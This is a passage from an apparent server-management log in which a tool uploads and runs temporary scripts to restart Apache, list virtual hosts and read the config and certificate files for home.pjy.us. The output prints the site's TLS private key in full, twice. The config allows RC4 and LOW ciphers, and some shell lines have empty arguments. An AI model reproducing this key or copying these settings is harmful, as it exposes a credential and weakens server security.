chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-available/pjy_home_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2//etc/apache2/sites-available/pjy_home_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-available/pjy_home_us.conf= 1'
fi


2025-08-29 19:32:15: 

chmod 755 /tmp/pkp906659; /tmp/pkp906659; rm /tmp/pkp906659

2025-08-29 19:32:15: 




2025-08-29 19:32:15: 

PUT: /tmp/pkp905440

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-08-29 19:32:16: 

chmod 755 /tmp/pkp905440; /tmp/pkp905440; rm /tmp/pkp905440

2025-08-29 19:32:16: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-08-29 19:32:16: Establishing a connection
2025-08-29 19:32:17: 

PUT: /tmp/pkp849882

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-08-29 19:32:18: 

chmod 755 /tmp/pkp849882; /tmp/pkp849882; rm /tmp/pkp849882

2025-08-29 19:32:18: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:2)
         port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
*:443                  is a NameVirtualHost
         default server cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
         port 443 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
         port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-08-29 19:32:18: 

PUT: /tmp/pkp851621

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/pjy_home_us.conf')
    show_file('/etc/apache2/sites-available/pjy_home_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-29 19:32:18: 

chmod 755 /tmp/pkp851621; /tmp/pkp851621; rm /tmp/pkp851621

2025-08-29 19:32:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_home_us.conf	1248

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_home_us.conf	1248

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-08-29 19:32:19: 

PUT: /tmp/pkp193424

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-29 19:32:19: 

chmod 755 /tmp/pkp193424; /tmp/pkp193424; rm /tmp/pkp193424

2025-08-29 19:32:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb	5333
26:77:82:f3:bd:9d:03:f8:75:63:1d:be:3c:d0:86:f4

-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBZu7ba3HLy0ydo9ehBlHPShJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODI5MTgzMzQxWhcNMjUxMTI3MTgzMzQwWjAWMRQwEgYDVQQD
Ewtob21lLnBqeS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKiS
w6Cdsbcxg4LSm2qx5oXNaYIcsLpw55Gl5Vr948dqdxUfYxv8NI9uEK5ZrymPnMr/
L8JflyR2fSVsnKKHylW3Yo3EmK6k2+QB7XAjFT9O6NvGjSsH2ySakSmmHeQGlhMg
vDgRDD7jHIzULMMmZcHwlKOmgCdfhUTT8pjcoUUO8miTtaGivjju9oD991kzCWlu
onEF0R/3WJPgp+8bzlROoGGYrV+/In9lTlgMJfCe+avQv//C5hT1h9bocpFGW/Ql
gX14HCuzTy76bMpM+T8ksMyc+qX/XyZglBnzdk1kt229U7KP4HzJD2kUDeclPIXE
fQfga3/jgfBTvbiWxYkCAwEAAaOCAhowggIWMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUVU0KDHcunmUHIc7rIH8hvWnOa3EwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtob21lLnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzc0LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1ABoE/0nQVB1Ar/ag
w7/x2MRnL07s7iNAaJhrF0Au3Il9AAABmPdQ6fsAAAQDAEYwRAIgKwL0yMpwc4y0
Uv5wSfFEZdccUv0kby2kiZ6PSFaUK64CIAcltxgmthNOS4fiNwThUrjhf347fEVF
+4ye0ySJWJ7KAHYAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGY
91Dp2gAABAMARzBFAiEAr7xkcLy6So+vn6Mprgz+LLw7C46yv+m0maz8Rn46EpoC
IG5olnUUVDfch38cS3exchPBfwtqUTon8A5m2uJZVRmWMA0GCSqGSIb3DQEBCwUA
A4IBAQA1/wEz7vM5Czu7MobZZgNt1m+Udgc7lcMMtmi7TuQFg66s2ci5Z6wcdgaK
4+8o99uVHxC5wCpJqGS3zAwdhffP7Soj0rBE0EUb631Pu+YdDEb1oW3G+7rqK5ty
GBYs6lmixO6r4c7kKoj31PiGDTmFXd+j4lXfcWKQ1o1cTLWQ84f7IZXtjQy21QbW
h8dxx5CR0cb1DEnZyzZTLkEJOiIV/U0UUra0Wcv5za3R8NNjup4/+aiVK8MyyfZ+
rzZFMhoV0HTx7cGZN6Rcyspde1TE6GFkDh+XcrE21k0LzpP9QHePNgXrphPCBDO5
AgAiiN5NJdWXPNTB+h2lpy+FSvdE
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCoksOgnbG3MYOC
0ptqseaFzWmCHLC6cOeRpeVa/ePHancVH2Mb/DSPbhCuWa8pj5zK/y/CX5ckdn0l
bJyih8pVt2KNxJiupNvkAe1wIxU/Tujbxo0rB9skmpEpph3kBpYTILw4EQw+4xyM
1CzDJmXB8JSjpoAnX4VE0/KY3KFFDvJok7Whor447vaA/fdZMwlpbqJxBdEf91iT
4KfvG85UTqBhmK1fvyJ/ZU5YDCXwnvmr0L//wuYU9YfW6HKRRlv0JYF9eBwrs08u
+mzKTPk/JLDMnPql/18mYJQZ83ZNZLdtvVOyj+B8yQ9pFA3nJTyFxH0H4Gt/44Hw
U724lsWJAgMBAAECgf8VutV83tcJxlgthPiDyGru1IvFOe2OGv++xqPKFvBFxHOV
RXaBJQGhe46q6uSpdtm/USXW6HuTN7LqIBYQ3XA3nGwX2j/UQ2wU+CqjSeJzRri9
m9qWsWyOS15q//7aZf7yeEXK9Gefs6b6gF9EyK5VUa3Xap8adDW5qZicG9SuEgl/
+Gw8gqbhSeZgCzVFSvoRDIrxH4rdPmI0ZDlg5B52H/dA/OcQd/WjIygxIYkuLcv0
Rpnuz0lLq0W2glX0uDQ5HjEekrKGBh0pldRrqjkPEj12oLu6g1eXPjb3fgqasSkB
agO6FpT5/JkXNmECkYddv3N1e7TSDy2eIqwq1oUCgYEA3iPBOdBP2RhtYAY9PmO6
kaY/UBBxSj2Y9VJyUX4anaex05YQ83NSM3P0xhSYzCRNq5XgR5fSe+OjnUcJP4+8
uxwAIWCcnOlhpsu1qViVxlau44V6wOSzYgGCibHF9zJEuTWUqQokJ2l2wmiX6b2f
Ovco/i5jrECoS5xtPp9KYhMCgYEAwkTDkXyCTrRcgdCF5RCdVfGHr4n1nkEeZ4j+
Z72vwVVjLrSdyQiTiWAFhbWUfiufDv4atNkdQpaD0FOBuwjduI/UlJMLdsCaSdn3
P4UmkiQ9LfqVEDO/zcr+lGpzQEu8+M7a72HOLO/hPOLs3J5LhfFPVnUmIb0rtPRg
Xbg/TXMCgYAApN3kiwQQPw/iHWKEEcnyria01rddXbxZyblnHxR4rInJcT/vVMBC
Qe3NvTWMMfa/rpmN25TSoyBQTmpqcsI7UKN3dU4+7jZIQ4LtUMJuZsXvBu4KLR+Q
Ay0btRY71zt3xf3+V3cvXhDoE2GNXe1eQGUwB3Zmg3F5dqSib9fJXQKBgQCD5cwi
azbN2Qc13C4MaEtqnqJRPInW+L977DdOmCtMSH0eqOK4K2qASwF01uQLBfLoav4W
65JCM48rUocyRcLEHGNovK174yjeG28TYYPelVw0a33pkjkXsEtI2T2G2eVjyI49
GVqyh+uVOz02TQNZ3YzQVpmdLqMOKR2EhCP2oQKBgQDILBFzXigCOuOIAWuvXEUm
GPMHg9bmr6T5tnYerm4j3+fuCCPADE7jgsJTO9j7Ejf759wKkl4UEUGF1QytCntv
2Aj3xrBjjVIxr6OlFn8a7N0RN4fufcRWmsFB8X4Cynq0dfKyXmu1diUYFtdIQ49m
eQOzaN8CS0kP9GXOOlkFFw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-08-29 19:32:19: 

PUT: /tmp/pkp123353

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-29 19:32:20: 

chmod 755 /tmp/pkp123353; /tmp/pkp123353; rm /tmp/pkp123353

2025-08-29 19:32:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb	5333
26:77:82:f3:bd:9d:03:f8:75:63:1d:be:3c:d0:86:f4

-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBZu7ba3HLy0ydo9ehBlHPShJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODI5MTgzMzQxWhcNMjUxMTI3MTgzMzQwWjAWMRQwEgYDVQQD
Ewtob21lLnBqeS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKiS
w6Cdsbcxg4LSm2qx5oXNaYIcsLpw55Gl5Vr948dqdxUfYxv8NI9uEK5ZrymPnMr/
L8JflyR2fSVsnKKHylW3Yo3EmK6k2+QB7XAjFT9O6NvGjSsH2ySakSmmHeQGlhMg
vDgRDD7jHIzULMMmZcHwlKOmgCdfhUTT8pjcoUUO8miTtaGivjju9oD991kzCWlu
onEF0R/3WJPgp+8bzlROoGGYrV+/In9lTlgMJfCe+avQv//C5hT1h9bocpFGW/Ql
gX14HCuzTy76bMpM+T8ksMyc+qX/XyZglBnzdk1kt229U7KP4HzJD2kUDeclPIXE
fQfga3/jgfBTvbiWxYkCAwEAAaOCAhowggIWMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUVU0KDHcunmUHIc7rIH8hvWnOa3EwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtob21lLnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzc0LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1ABoE/0nQVB1Ar/ag
w7/x2MRnL07s7iNAaJhrF0Au3Il9AAABmPdQ6fsAAAQDAEYwRAIgKwL0yMpwc4y0
Uv5wSfFEZdccUv0kby2kiZ6PSFaUK64CIAcltxgmthNOS4fiNwThUrjhf347fEVF
+4ye0ySJWJ7KAHYAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGY
91Dp2gAABAMARzBFAiEAr7xkcLy6So+vn6Mprgz+LLw7C46yv+m0maz8Rn46EpoC
IG5olnUUVDfch38cS3exchPBfwtqUTon8A5m2uJZVRmWMA0GCSqGSIb3DQEBCwUA
A4IBAQA1/wEz7vM5Czu7MobZZgNt1m+Udgc7lcMMtmi7TuQFg66s2ci5Z6wcdgaK
4+8o99uVHxC5wCpJqGS3zAwdhffP7Soj0rBE0EUb631Pu+YdDEb1oW3G+7rqK5ty
GBYs6lmixO6r4c7kKoj31PiGDTmFXd+j4lXfcWKQ1o1cTLWQ84f7IZXtjQy21QbW
h8dxx5CR0cb1DEnZyzZTLkEJOiIV/U0UUra0Wcv5za3R8NNjup4/+aiVK8MyyfZ+
rzZFMhoV0HTx7cGZN6Rcyspde1TE6GFkDh+XcrE21k0LzpP9QHePNgXrphPCBDO5
AgAiiN5NJdWXPNTB+h2lpy+FSvdE
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCoksOgnbG3MYOC
0ptqseaFzWmCHLC6cOeRpeVa/ePHancVH2Mb/DSPbhCuWa8pj5zK/y/CX5ckdn0l
bJyih8pVt2KNxJiupNvkAe1wIxU/Tujbxo0rB9skmpEpph3kBpYTILw4EQw+4xyM
1CzDJmXB8JSjpoAnX4VE0/KY3KFFDvJok7Whor447vaA/fdZMwlpbqJxBdEf91iT
4KfvG85UTqBhmK1fvyJ/ZU5YDCXwnvmr0L//wuYU9YfW6HKRRlv0JYF9eBwrs08u
+mzKTPk/JLDMnPql/18mYJQZ83ZNZLdtvVOyj+B8yQ9pFA3nJTyFxH0H4Gt/44Hw
U724lsWJAgMBAAECgf8VutV83tcJxlgthPiDyGru1IvFOe2OGv++xqPKFvBFxHOV
RXaBJQGhe46q6uSpdtm/USXW6HuTN7LqIBYQ3XA3nGwX2j/UQ2wU+CqjSeJzRri9
m9qWsWyOS15q//7aZf7yeEXK9Gefs6b6gF9EyK5VUa3Xap8adDW5qZicG9SuEgl/
+Gw8gqbhSeZgCzVFSvoRDIrxH4rdPmI0ZDlg5B52H/dA/OcQd/WjIygxIYkuLcv0
Rpnuz0lLq0W2glX0uDQ5HjEekrKGBh0pldRrqjkPEj12oLu6g1eXPjb3fgqasSkB
agO6FpT5/JkXNmECkYddv3N1e7TSDy2eIqwq1oUCgYEA3iPBOdBP2RhtYAY9PmO6
kaY/UBBxSj2Y9VJyUX4anaex05YQ83NSM3P0xhSYzCRNq5XgR5fSe+OjnUcJP4+8
uxwAIWCcnOlhpsu1qViVxlau44V6wOSzYgGCibHF9zJEuTWUqQokJ2l2wmiX6b2f
Ovco/i5jrECoS5xtPp9KYhMCgYEAwkTDkXyCTrRcgdCF5RCdVfGHr4n1nkEeZ4j+
Z72vwVVjLrSdyQiTiWAFhbWUfiufDv4atNkdQpaD0FOBuwjduI/UlJMLdsCaSdn3
P4UmkiQ9LfqVEDO/zcr+lGpzQEu8+M7a72HOLO/hPOLs3J5LhfFPVnUmIb0rtPRg
Xbg/TXMCgYAApN3kiwQQPw/iHWKEEcnyria01rddXbxZyblnHxR4rInJcT/vVMBC
Qe3NvTWMMfa/rpmN25TSoyBQTmpqcsI7UKN3dU4+7jZIQ4LtUMJuZsXvBu4KLR+Q
Ay0btRY71zt3xf3+V3cvXhDoE2GNXe1eQGUwB3Zmg3F5dqSib9fJXQKBgQCD5cwi
azbN2Qc13C4MaEtqnqJRPInW+L977DdOmCtMSH0eqOK4K2qASwF01uQLBfLoav4W
65JCM48rUocyRcLEHGNovK174yjeG28TYYPelVw0a33pkjkXsEtI2T2G2eVjyI49
GVqyh+uVOz02TQNZ3YzQVpmdLqMOKR2EhCP2oQKBgQDILBFzXigCOuOIAWuvXEUm
GPMHg9bmr6T5tnYerm4j3+fuCCPADE7jgsJTO9j7Ejf759wKkl4UEUGF1QytCntv
2Aj3xrBjjVIxr6OlFn8a7N0RN4fufcRWmsFB8X4Cynq0dfKyXmu1diUYFtdIQ49m
eQOzaN8CS0kP9GXOOlkFFw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
